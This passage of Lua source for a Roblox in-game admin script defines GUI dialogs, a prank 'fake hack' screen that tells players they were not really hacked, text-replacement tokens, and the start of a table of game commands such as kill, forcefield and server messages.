  4911. local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
  4912. local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
  4913. ]]..Yes.."/"..Total..[[
  4914. ]]..math.ceil((Yes/Total)*100).."% "
  4915. local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
  4916. ]]..No.."/"..Total..[[
  4917. ]]..math.ceil((No/Total)*100).."% "
  4918. local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
  4919. ]]..Unknown.."/"..Total..[[
  4920. ]]..math.ceil((Unknown/Total)*100).."% "
  4921. end
  4922. end
  4923.  
  4924. --GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
  4925.  
  4926. function GUI:LoadGui(Player, Text, InfoText)
  4927. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4928. local Dead = false
  4929.  
  4930. local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
  4931. local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
  4932. local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
  4933. local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
  4934. if InfoText then Info.Text = InfoText end
  4935.  
  4936. local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
  4937. local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
  4938.  
  4939. CloseGui.OnInvoke = function()
  4940. Close:Invoke()
  4941. Dead = true
  4942. end
  4943. AddInfo.OnInvoke = function(AddText)
  4944. Info.Text = AddText
  4945. end
  4946.  
  4947. coroutine.wrap(function()
  4948. for i = 0,math.huge,3 do
  4949. if Dead == false and Frame then
  4950. WaitIcon.Rotation = i
  4951. wait()
  4952. else
  4953. break
  4954. end
  4955. end
  4956. end)()
  4957.  
  4958. coroutine.wrap(function()
  4959. while Dead == false and Frame do
  4960. wait(0.5)
  4961. LoadLabel.Text = Text.."."
  4962. wait(0.5)
  4963. LoadLabel.Text = Text..".."
  4964. wait(0.5)
  4965. LoadLabel.Text = Text.."..."
  4966. wait(0.5)
  4967. LoadLabel.Text = Text..".."
  4968. wait(0.5)
  4969. LoadLabel.Text = Text.."."
  4970. wait(0.5)
  4971. LoadLabel.Text = Text
  4972. end
  4973. end)()
  4974.  
  4975. wait(1)
  4976.  
  4977. return CloseGui, AddInfo
  4978. end
  4979.  
  4980. function GUI:FakeHack(Player) coroutine.wrap(function()
  4981. if not Player or not Player:FindFirstChild("PlayerGui") then return end
  4982. local FakeText = [[
  4983. >SHELL: BEGIN
  4984. >RUNCODE:
  4985. return {
  4986. local Hack = {"Account", "Tix", "Robux"};
  4987. function Start(Type, Inject, Scan)
  4988. if not Inject then Inject = "In-Game" end
  4989. return {Type, Inject, Scan}
  4990. end
  4991. for Exe,Exploit in pairs(Hack) do
  4992. local IP = Start("In-Game",Exploit,
  4993. BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  4994. {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  4995. )
  4996. Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  4997. for i = 1,#Injection[2] do
  4998. Log("PlayerData", "ConnectHost", "PLAYERNAME")
  4999. end
  5000. local PlayerProxy = newproxy(true)
  5001. setmetatable(PlayerProxy,Injection[3],{
  5002. __index = function(StealData, ...) local Data = unpack(...)
  5003. return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  5004. end;
  5005. })
  5006. end
  5007. Log("HACKED HOST: PLAYERNAME")
  5008. }
  5009. >HACKED HOST: PLAYERNAME
  5010.  
  5011. ]]
  5012. local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
  5013. if SG then SG:Destroy() end
  5014. SG = Instance.new("ScreenGui", Player.PlayerGui)
  5015. SG.Name = "MML Hack Gui"
  5016. local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  5017. local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
  5018. local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
  5019. for i = 1,#FakeText do
  5020. HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  5021. if math.random(1,5) == 1 then
  5022. wait()
  5023. end
  5024. end
  5025. HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  5026. wait(3)
  5027. HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
  5028. fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
  5029. X.Visible = true
  5030. end)() end
  5031.  
  5032. function GUI:CommandBar(Player)
  5033. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5034.  
  5035. local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
  5036. local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
  5037. local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
  5038. local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
  5039.  
  5040. local _,Rank = RANK:GetRank(Player)
  5041. local UsableCommands = {}
  5042. for CommandNames,Data in pairs(Commands) do
  5043. if not Data.Hidden then
  5044. if RANK:ConvertRank(Data[4]) <= Rank then
  5045. for _,Command in pairs(CommandNames) do
  5046. table.insert(UsableCommands, {Command, Data[3]})
  5047. end
  5048. end
  5049. end
  5050. end
  5051.  
  5052. local RPR = CORE:CreateRemotePropertyReader(CommandBox)
  5053.  
  5054. local function ExecuteText()
  5055. local Text = CORE:ReadProperty(RPR, Player, "Text")
  5056. CORE:Chatted(Text, Player, true)
  5057. CommandBox.Text = "Enter a command here"
  5058. end
  5059.  
  5060. local function AddSuggestion(Text)
  5061. if Text == nil then Text = Settings.Prefix end
  5062. local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
  5063. Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
  5064. CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
  5065. if Text == Settings.Prefix then
  5066. CommandBox.Text = Settings.Prefix
  5067. else
  5068. CommandBox.Text = Settings.Prefix..Text
  5069. end
  5070. CORE:ExecuteResource("Focus", CommandBox)
  5071. end, true)
  5072. end
  5073.  
  5074. CORE:HandleEvent(CommandBox, "MouseEnter", function()
  5075. if CommandBox.Text == "Enter a command here" then
  5076. CommandBox.Text = ""
  5077. end
  5078. end)
  5079.  
  5080. local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
  5081. CORE:ExecuteResource("ChatBoxLocal", CommandBox)
  5082.  
  5083. CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
  5084. EnterPressed.OnServerInvoke = ExecuteText
  5085.  
  5086. CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
  5087. Suggest.CanvasSize = UDim2.new(0,0,0,0)
  5088. Suggest:ClearAllChildren()
  5089. local Text = CORE:ReadProperty(RPR, Player, "Text")
  5090. if Text == "" then
  5091. AddSuggestion(Settings.Prefix)
  5092. end
  5093.  
  5094. if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
  5095. Text = string.sub(Text,#Settings.Prefix+1)
  5096. end
  5097. for _,Data in pairs(UsableCommands) do
  5098. local Command,Args = Data[1],Data[2]
  5099. if string.find(string.lower(Command),string.lower(Text)) then
  5100. local NewSuggestion = Command
  5101. if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
  5102. AddSuggestion(NewSuggestion)
  5103. end
  5104. end
  5105.  
  5106. end end)
  5107. end
  5108.  
  5109. function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
  5110. if not Player or not AllSeconds then return nil end
  5111. AllSeconds = tonumber(AllSeconds)
  5112. local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
  5113. AllSeconds = math.floor(AllSeconds)
  5114. if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
  5115. local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
  5116. local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
  5117. local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
  5118. local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
  5119. local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
  5120.  
  5121. local CurrentSeconds = AllSeconds
  5122. local Alive = true
  5123. coroutine.wrap(function() for i = 0,AllSeconds do
  5124. if not Alive then break end
  5125. local Seconds = tostring(math.fmod(CurrentSeconds,60))
  5126. local Minutes = tostring(math.floor(CurrentSeconds/60))
  5127. if #Seconds == 1 then Seconds = "0"..Seconds end
  5128. if #Minutes == 1 then Minutes = "0"..Minutes end
  5129. Time.Text = Minutes..":"..Seconds
  5130. wait(1)
  5131. if CurrentSeconds <= 0 then
  5132. Alarm:Play()
  5133. Time.Text = "00:00"
  5134. Part.Size = UDim2.new(1,0,1,0)
  5135. Restore:Invoke()
  5136. wait(4)
  5137. Close:Invoke()
  5138. break
  5139. else
  5140. Tick:Play()
  5141. Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
  5142. CurrentSeconds = CurrentSeconds - 1
  5143. end
  5144. end end)()
  5145.  
  5146. Closed.Event:connect(function()
  5147. if Alive == true then
  5148. Alive = false
  5149. Tick:Stop()
  5150. Alarm:Stop()
  5151. end
  5152. end)
  5153. end)() end
  5154.  
  5155. function GUI:DetachChat(Player)
  5156. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5157. if Player:FindFirstChild("DetachChatMML") then
  5158. Player.DetachChatMML:Invoke(true)
  5159. wait()
  5160. Player.DetachChatMML:Destroy()
  5161. end
  5162.  
  5163. local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
  5164. local SG = Frame.Parent.Parent.Parent
  5165.  
  5166. local DCBF = Instance.new("BindableFunction", Player)
  5167. DCBF.Name = "DetachChatMML"
  5168. DCBF.OnInvoke = function(Remove)
  5169. if Remove then
  5170. SG:Destroy()
  5171. end
  5172. end
  5173. CORE:ExecuteResource("CoreChat", SG)
  5174.  
  5175. local IsClosed = false
  5176. Closed.Event:connect(function()
  5177. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5178. IsClosed = true
  5179. end)
  5180.  
  5181. coroutine.wrap(function()
  5182. Player.CharacterRemoving:wait()
  5183. if not IsClosed then
  5184. IsClosed = true
  5185. wait(1)
  5186. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5187. end
  5188. end)()
  5189. end
  5190.  
  5191. function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
  5192. if not Player then return nil end
  5193. if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
  5194. Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
  5195.  
  5196. Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
  5197. end)() end
  5198.  
  5199. function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
  5200. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5201. if not SoundID then SoundID = SoundInfo["ID"] end
  5202. if not TitleText then TitleText = SoundInfo["Name"] end
  5203. if not CreatorText then CreatorText = SoundInfo["Creator"] end
  5204. if not InputSound then InputSound = Sound end
  5205.  
  5206. local NumSounds = 0
  5207. for _,SG in pairs(Player.PlayerGui:GetChildren()) do
  5208. if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
  5209. NumSounds = NumSounds + 1
  5210. end
  5211. end
  5212.  
  5213. local Size = UDim2.new(0.1, 100, 0.1, 100)
  5214. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
  5215. Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
  5216.  
  5217. local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
  5218. local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
  5219. local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
  5220. local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
  5221. local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
  5222. local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
  5223. local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
  5224.  
  5225. local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
  5226. local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
  5227. if Sound then
  5228. CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
  5229. end
  5230. if Time then
  5231. local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
  5232. local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
  5233.  
  5234. coroutine.wrap(function()
  5235. local Alive = true
  5236.  
  5237. local function StopTimer() Alive = false end
  5238. Closed.Event:connect(StopTimer)
  5239. Minimized.Event:connect(StopTimer)
  5240. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  5241.  
  5242. for i = Time,0,-1 do
  5243. for ii = 1,10 do
  5244. if Alive == true then
  5245. Timer.Text = i
  5246. wait(0.1)
  5247. else
  5248. break
  5249. end
  5250. end
  5251. end
  5252. if Alive == true then
  5253. Close:Invoke()
  5254. else
  5255. Timer:Destroy()
  5256. Stop:Destroy()
  5257. end
  5258. end)()
  5259. end
  5260. end
  5261.  
  5262. ---- STRING REPLACEMENT OPERATIONS ----
  5263.  
  5264. -- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
  5265.  
  5266. -- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
  5267.  
  5268. StringReplacements = {
  5269. {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
  5270. {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
  5271. {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
  5272. {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
  5273. {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
  5274. {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
  5275. {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
  5276. {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
  5277. {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
  5278. {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
  5279.  
  5280. {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
  5281. {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
  5282. {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
  5283. {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
  5284. {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
  5285. {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
  5286.  
  5287. {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
  5288. {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
  5289. {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
  5290. {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
  5291. {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
  5292. {"_NAME", "player's username", true, function(Player) return Player.Name end};
  5293. {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
  5294. {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5295. {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5296. {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
  5297. {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
  5298. {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
  5299. {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
  5300. {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
  5301. {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
  5302. {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
  5303. }
  5304.  
  5305. ---- COMMANDS ----
  5306.  
  5307. -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
  5308.  
  5309. Commands = { -- can't make local
  5310. [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
  5311. print("[MML's Admin]: Test message from "..Speaker.Name)
  5312. GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
  5313. end};
  5314.  
  5315. [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
  5316. local Players = STRING:Scan(Arguments[1], Speaker)
  5317. for _,Player in pairs(Players) do
  5318. if Player.Character then
  5319. Player.Character:BreakJoints()
  5320. end
  5321. end
  5322. end};
  5323.  
  5324. [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
  5325. local Players = STRING:Scan(Arguments[1], Speaker)
  5326. for _,Player in pairs(Players) do
  5327. if Player.Character then
  5328. Instance.new("ForceField", Player.Character)
  5329. end
  5330. end
  5331. end};
  5332.  
  5333. [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5334. local Players = STRING:Scan(Arguments[1], Speaker)
  5335. for _,Player in pairs(Players) do
  5336. if Player.Character then
  5337. for _,Get in pairs(Player.Character:GetChildren()) do
  5338. if Get:IsA("ForceField") then
  5339. Get:Destroy()
  5340. end
  5341. end
  5342. end
  5343. end
  5344. end};
  5345.  
  5346. [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5347. for _,Player in pairs(Server.Players:GetPlayers()) do
  5348. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
  5349. end
  5350. end};
  5351.  
  5352. [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5353. for _,Player in pairs(Server.Players:GetPlayers()) do
  5354. GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
  5355. end
  5356. end};
  5357.  
  5358. [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5359. local Players = STRING:Scan(Arguments[1], Speaker)
  5360. for _,Player in pairs(Players) do
  5361. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
  5362. end
  5363. end};
  5364.  
  5365. [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5366. for _,Player in pairs(Server.Players:GetPlayers()) do
  5367. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
  5368. end
  5369. end};
  5370.  
  5371. [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5372. local Players = STRING:Scan(Arguments[1], Speaker)
  5373. for _,Player in pairs(Players) do
  5374. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
  5375. end
  5376. end};
  5377.  
  5378. [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5379. local Players = STRING:Scan(Arguments[1], Speaker)
  5380. local AgeList = {}
  5381. for _,Player in pairs(Players) do
  5382. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5383. end
  5384. GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
